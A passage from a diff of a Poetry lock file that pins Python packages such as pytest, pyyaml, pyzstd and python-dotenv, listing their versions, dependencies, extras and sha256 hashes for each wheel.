+ {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:93d0d6ed97046ce25d64427ec493e06c23f32838972258bf11d603c9c998d6b3"},
+ {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1658714d012a5f9a8a3e67f3a9ede3519a2558064ccbd3163c39aca0cfd2412b"},
+ {file = "pyppmd-1.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ab4e29f774e064af09baf8478acd967684524e566b78fcc4f6f669757f0a2ab5"},
+ {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd227b8c292ac43d3297a91055fab51c27894dba39d04ccc774a72d9e6f85752"},
+ {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68184b7246ea73a92a764e16cc18b74ccf3c8d6bfc438bbace57aeb1914118a7"},
+ {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8aafe6fc436a782e6d424a0ac00de08a1559b6d6ddd08031adbe791ff4e54c90"},
+ {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bae08176e0d3ed0a5cbd838ff1ac557dfa088a652af633ab1905ab35bb9d7bc4"},
+ {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:c60031de93834e5cd262db4b27272101d04a9a18c4cc49f81d483221211a97c8"},
+ {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:aee9c52a6f232f3f7c683b87213aa3a9eacd281ab31187e784290ba1c05024fe"},
+ {file = "pyppmd-1.0.0-cp39-cp39-win32.whl", hash = "sha256:2858471a291b51fab49242d78bd67c2b7719368618a02e4aa995de8c855da73c"},
+ {file = "pyppmd-1.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:1ec00b07c6b68feb402d6596f3575a7892ad69e4f455deee7b5301df703e60dd"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ac19ec1b6e3a0aadc1537466f537017189373593e23fe254df050fdd01f4a722"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10c8a41093952cde52b6d89488dc601ee7b10f6c95c430488f68987393777b46"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3ea6a0d26db17027805a804d013cf761d732df5bce9d6b314cd1c727fe347277"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2c31e5b331923f3b3b2cfbc66a60ecfd73db1a19a646bd1faf25bfde709a80d0"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:f488164e8876d213b0627a7a6cb798081eaf84fd9ec6dde5a1668296b15e1a6c"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6059ea0c9acc3b52b2961412ac75d1da72656f8b69bb8fc3d92eec6776176011"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aadc63d0ac83f8c5744eb34ea47a70ff7bfab519b293482d7ccb09946c374dc7"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09668aa43e4f02b8725e6233dfc66e532c72f0e69fa1b34dd814a9f7200e0496"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f79ebcd7312b541d3520e1a0d4c362731e24403e2f9f6761679b2ad819d5c706"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:556b6a3af3fca2b41ca25f51c481e5df8df4da842fc5a567da7bb099cfa52423"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f9a3782f5accab4186d68c86defc61fcc7d0146e9cdc5b54e18656852c71db16"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5c6c40f15b9fdea10bf966e5b07ee0a0ebcb8cf188ed9a466029c894816b303"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a90b98f9d501eaedaca4d0e82f9e771bd2d780d71effcdeacc9fc6180a00e07"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f8a3b9192714b3e4773fc49c100ca13defa2502cb38e56205eb5a131ccf555d"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7f1e7a1747518b5822eb755f3715d88bd1459e24de828aed86b7c1aa35e3ed76"},
+ {file = "pyppmd-1.0.0.tar.gz", hash = "sha256:075c9bd297e3b0a87dd7aeabca7fee668218acbe69ecc1c6511064558de8840f"},
+]
+
+[package.extras]
+check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"]
+docs = ["sphinx (>=2.3)", "sphinx-rtd-theme"]
+fuzzer = ["atheris", "hypothesis"]
+test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-benchmark", "pytest-cov", "pytest-timeout"]
+
+[[package]]
+name = "pyright"
+version = "1.1.304"
+description = "Command line wrapper for pyright"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pyright-1.1.304-py3-none-any.whl", hash = "sha256:70021bbae07fc28ed16e435f5efa65cd71e06a1888d9ca998798c283d4b3d010"},
+ {file = "pyright-1.1.304.tar.gz", hash = "sha256:87adec38081904c939e3657ab23d5fc40b7ccc22709be0af1859fc785ae4ea61"},
+]
+
+[package.dependencies]
+nodeenv = ">=1.6.0"
+
+[package.extras]
+all = ["twine (>=3.4.1)"]
+dev = ["twine (>=3.4.1)"]
+
+[[package]]
+name = "pytest"
+version = "7.3.1"
+description = "pytest: simple powerful testing with Python"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-7.3.1-py3-none-any.whl", hash = "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362"},
+ {file = "pytest-7.3.1.tar.gz", hash = "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "sys_platform == \"win32\""}
+iniconfig = "*"
+packaging = "*"
+pluggy = ">=0.12,<2.0"
+
+[package.extras]
+testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"]
+
+[[package]]
+name = "pytest-asyncio"
+version = "0.20.3"
+description = "Pytest support for asyncio"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-asyncio-0.20.3.tar.gz", hash = "sha256:83cbf01169ce3e8eb71c6c278ccb0574d1a7a3bb8eaaf5e50e0ad342afb33b36"},
+ {file = "pytest_asyncio-0.20.3-py3-none-any.whl", hash = "sha256:f129998b209d04fcc65c96fc85c11e5316738358909a8399e93be553d7656442"},
+]
+
+[package.dependencies]
+pytest = ">=6.1.0"
+
+[package.extras]
+docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1.0)"]
+testing = ["coverage (>=6.2)", "flaky (>=3.5.0)", "hypothesis (>=5.7.1)", "mypy (>=0.931)", "pytest-trio (>=0.7.0)"]
+
+[[package]]
+name = "pytest-mock"
+version = "3.10.0"
+description = "Thin-wrapper around the mock package for easier use with pytest"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-mock-3.10.0.tar.gz", hash = "sha256:fbbdb085ef7c252a326fd8cdcac0aa3b1333d8811f131bdcc701002e1be7ed4f"},
+ {file = "pytest_mock-3.10.0-py3-none-any.whl", hash = "sha256:f4c973eeae0282963eb293eb173ce91b091a79c1334455acfac9ddee8a1c784b"},
+]
+
+[package.dependencies]
+pytest = ">=5.0"
+
+[package.extras]
+dev = ["pre-commit", "pytest-asyncio", "tox"]
+
+[[package]]
+name = "python-dateutil"
+version = "2.8.2"
+description = "Extensions to the standard Python datetime module"
+category = "main"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
+files = [
+ {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"},
+ {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"},
+]
+
+[package.dependencies]
+six = ">=1.5"
+
+[[package]]
+name = "python-dotenv"
+version = "1.0.0"
+description = "Read key-value pairs from a .env file and set them as environment variables"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"},
+ {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"},
+]
+
+[package.extras]
+cli = ["click (>=5.0)"]
+
+[[package]]
+name = "python-magic"
+version = "0.4.27"
+description = "File type identification using libmagic"
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+files = [
+ {file = "python-magic-0.4.27.tar.gz", hash = "sha256:c1ba14b08e4a5f5c31a302b7721239695b2f0f058d125bd5ce1ee36b9d9d3c3b"},
+ {file = "python_magic-0.4.27-py2.py3-none-any.whl", hash = "sha256:c212960ad306f700aa0d01e5d7a325d20548ff97eb9920dcd29513174f0294d3"},
+]
+
+[[package]]
+name = "python-multipart"
+version = "0.0.6"
+description = "A streaming multipart parser for Python"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "python_multipart-0.0.6-py3-none-any.whl", hash = "sha256:ee698bab5ef148b0a760751c261902cd096e57e10558e11aca17646b74ee1c18"},
+ {file = "python_multipart-0.0.6.tar.gz", hash = "sha256:e9925a80bb668529f1b67c7fdb0a5dacdd7cbfc6fb0bff3ea443fe22bdd62132"},
+]
+
+[package.extras]
+dev = ["atomicwrites (==1.2.1)", "attrs (==19.2.0)", "coverage (==6.5.0)", "hatch", "invoke (==1.7.3)", "more-itertools (==4.3.0)", "pbr (==4.3.0)", "pluggy (==1.0.0)", "py (==1.11.0)", "pytest (==7.2.0)", "pytest-cov (==4.0.0)", "pytest-timeout (==2.1.0)", "pyyaml (==5.1)"]
+
+[[package]]
+name = "pyyaml"
+version = "6.0"
+description = "YAML parser and emitter for Python"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"},
+ {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"},
+ {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"},
+ {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"},
+ {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"},
+ {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"},
+ {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"},
+ {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"},
+ {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"},
+ {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"},
+ {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"},
+ {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"},
+ {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"},
+ {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"},
+ {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"},
+ {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"},
+ {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"},
+ {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"},
+]
+
+[[package]]
+name = "pyzstd"
+version = "0.15.7"
+description = "Python bindings to Zstandard (zstd) compression library, the API style is similar to Python's bz2/lzma/zlib modules."
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "pyzstd-0.15.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9ba445c38aff01c41175dcc621b88357907f4deb1f147ff140e691e74c589029"},
+ {file = "pyzstd-0.15.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:30ca96e20dcda02665c241a70b577202d3b9443416aaffefc490f6ff9d78f83f"},
+ {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c8408c499ef67dcec49be00b7007e0ceb7cbb1211cdaeb390294d8a0e9ceab75"},
+ {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7fa6ace75ad05303967908321d9b02f7011a1ea5103f9f72342dba820fa47b1a"},
+ {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5b6d9e1be9fdaef16c53ce0b2bfd880ae21ca54bc244a1de1c28d0cefeee8760"},
+ {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:effda4ab1426a2b3384ea354f1d873865f87ae0e946508765dfe1b52c6dea6b8"},
+ {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3e03065608eff491466bcfb7fa1c48d3f81bfac1926db68f13f3362a1b8bc2db"},
+ {file = "pyzstd-0.15.7-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3d109b2321f9d2df7e17fe49791379f831cc8cfd7ad29069e1687faf99095188"},
+ {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:5361782c9ff6c5a40d39637258dd64e109f7c535976e9c2db8ae17a7c6c2b3cb"},
+ {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:d05909397f155b12a0a9b7c36cf1fb8a96df5b7caa9bc69c47ed36ab73e1aba9"},
+ {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:1ab0309a5a36ebe6bbf6b33f200aa9faa71493b842924e85840d78ecd72ce3cd"},
+ {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e5504321223125495b9ae78cd49c7a4495ae8e547d09f704aad0c43a9fa8c5f2"},
+ {file = "pyzstd-0.15.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:13c653dac81e95e966759a9b8b47d6c0fdf0a6c51a743397dee9091e62c7bfa8"},
+ {file = "pyzstd-0.15.7-cp310-cp310-win32.whl", hash = "sha256:b0b6a55ed8ae86d6a809bdf0552753f8bc11ce1a8b4ccb2a55f9a4026ecde01c"},
+ {file = "pyzstd-0.15.7-cp310-cp310-win_amd64.whl", hash = "sha256:ef7f2f8a95fdb755047015894e1859a49a5495bd6d1b197898b72e2c3abeca92"},
+ {file = "pyzstd-0.15.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8af59e31d1e51ccd998142f8ec7347e5ba7a801572539a8bffd9009956a76343"},
+ {file = "pyzstd-0.15.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:867d909f633a39add6f62fa19b61520abccb9af527194db0c490ebd2e910200d"},
+ {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:39a3ca5e44d9ba036f2515a3aec1fdb27849bd55affd205c578447fc2e2d2503"},
+ {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:53958a8c20e4344a86bad6e9cd0b886710bfac2bc581102b852bb24c2c09084c"},
+ {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0802d7a01ab7bd73dd0dd5c3d9143a7fe77e6c98ab33fdf4b14b20fe5ca090a7"},
+ {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc340a9159ead0ffaac5893569e124e975958e31ad381357e65765296882b81e"},
+ {file = "pyzstd-0.15.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bdf506a8b3b17b3cfa9b9b0b69d5fb542058fa3bb7121d5e5c4ec553ff39801"},
+ {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:371a0523d40f560d1352ca91e532acaa2b331500ded3cf3ad699eee88d76af60"},
+ {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:827717b9a9f28cef58ba1018879f9ba777b9f287675107baf7d92409ac9d908d"},
+ {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:98b8f16815eac222f6092e27c65f2811e7ad2300661f72224f02b28ec361baae"},
+ {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b1034413b31fa2f74213e19c109dcf2d4e5aac49336efc0640c7fbea9713e0b0"},
+ {file = "pyzstd-0.15.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:aed59809b3c5c021c7ae9f380da6f0835062cfd91a81a3125e7d4eb4e394fc15"},
+ {file = "pyzstd-0.15.7-cp311-cp311-win32.whl", hash = "sha256:e733ff332afa44737b3d1e433a023b8f588881e5d2ae7698293560437aaa1879"},
+ {file = "pyzstd-0.15.7-cp311-cp311-win_amd64.whl", hash = "sha256:2129572d541e86561d4dc0f6be10788de6c19ff25a8ed83231f1825b05154cf2"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e4d0abeaed6e6162d4506e7cc3e9df40f5589d9946922635bdf03821ff969380"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d4dc50cc7d4a8763454ba3e12fbf558bcf7b0764eb7591fb5dfe9ac35b8162d"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:38ca4cc998b93bcc062a1cb01f41761b7ca54cad135cd8dd50074623449d5424"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f9d44e8ac7a788d60589e22cd27e072cf480100c4fa68fab6bcbc5927a162e18"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dfdddfea962e039f8397a0e892eccf0fc25378ec3eb1ca81fdf2658f20272f0e"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:492301b5234acc0d04443bdb00bf7a1ad601caf82bc837f8a4c137c7eef8932e"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:8e444c7198e531d236a5791eb6d1045249c93aa1dfd036b8275e9b0f36633c79"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:d3fab381de4e0bf8dfa8e356ee04c0ac18d5b603344cca98c0f6106760e979a8"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:d779c3e8faa92b241e58600f7b2126f3c055d75d3968ed5d856e2c5e2ec847ce"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:414ec9fff19a5da1ed4c6322129eed2a8b1dd77ce6d55cf2b99013e374368489"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:2192f5a3b115274a9c68f75ff2c21cfb4006f0e5eff637f856e622871f0e7e26"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:ec9bf97d6959112fe15c04daf1e94451a78a28d2573ef22f1d215db00204db20"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-win32.whl", hash = "sha256:9a374e990d365b403723be368a054c086d168c65a8f2fe74bdf5e1344da37a82"},
+ {file = "pyzstd-0.15.7-cp36-cp36m-win_amd64.whl", hash = "sha256:933928a57c4445c4039e0dd4c75a9bfcab5bf0b1bb23b4869e340e28bc7aeb1e"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:877ccd7ce58737fb672f17681d3ff5e78ab5731e7096662ae7b36305d95eb82c"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:52461114f78380b7432f9a31b0249933930aa4968507ecc9a27a345a905abac6"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d313de63feda18974c406cb05a963b27234aa0ad604561ed435ff726eaca1160"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5dacf851e2a2cba837dcdf007af07dad7c860f70061e0c39094e500fc70a6e50"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30ea45ecd108aea9aec504192a7b18dce34e8dcb48503659a7a598c623d08437"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5a2ed163bd9f00c494f70f387803277592bf5788f8a07a67eebda3ad1c11b7d"},
+ {file = "pyzstd-0.15.7-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3a29a44f06ddd3f57a8656326044c57ec05e5162e97ffeed70b376b309c1bfb0"},
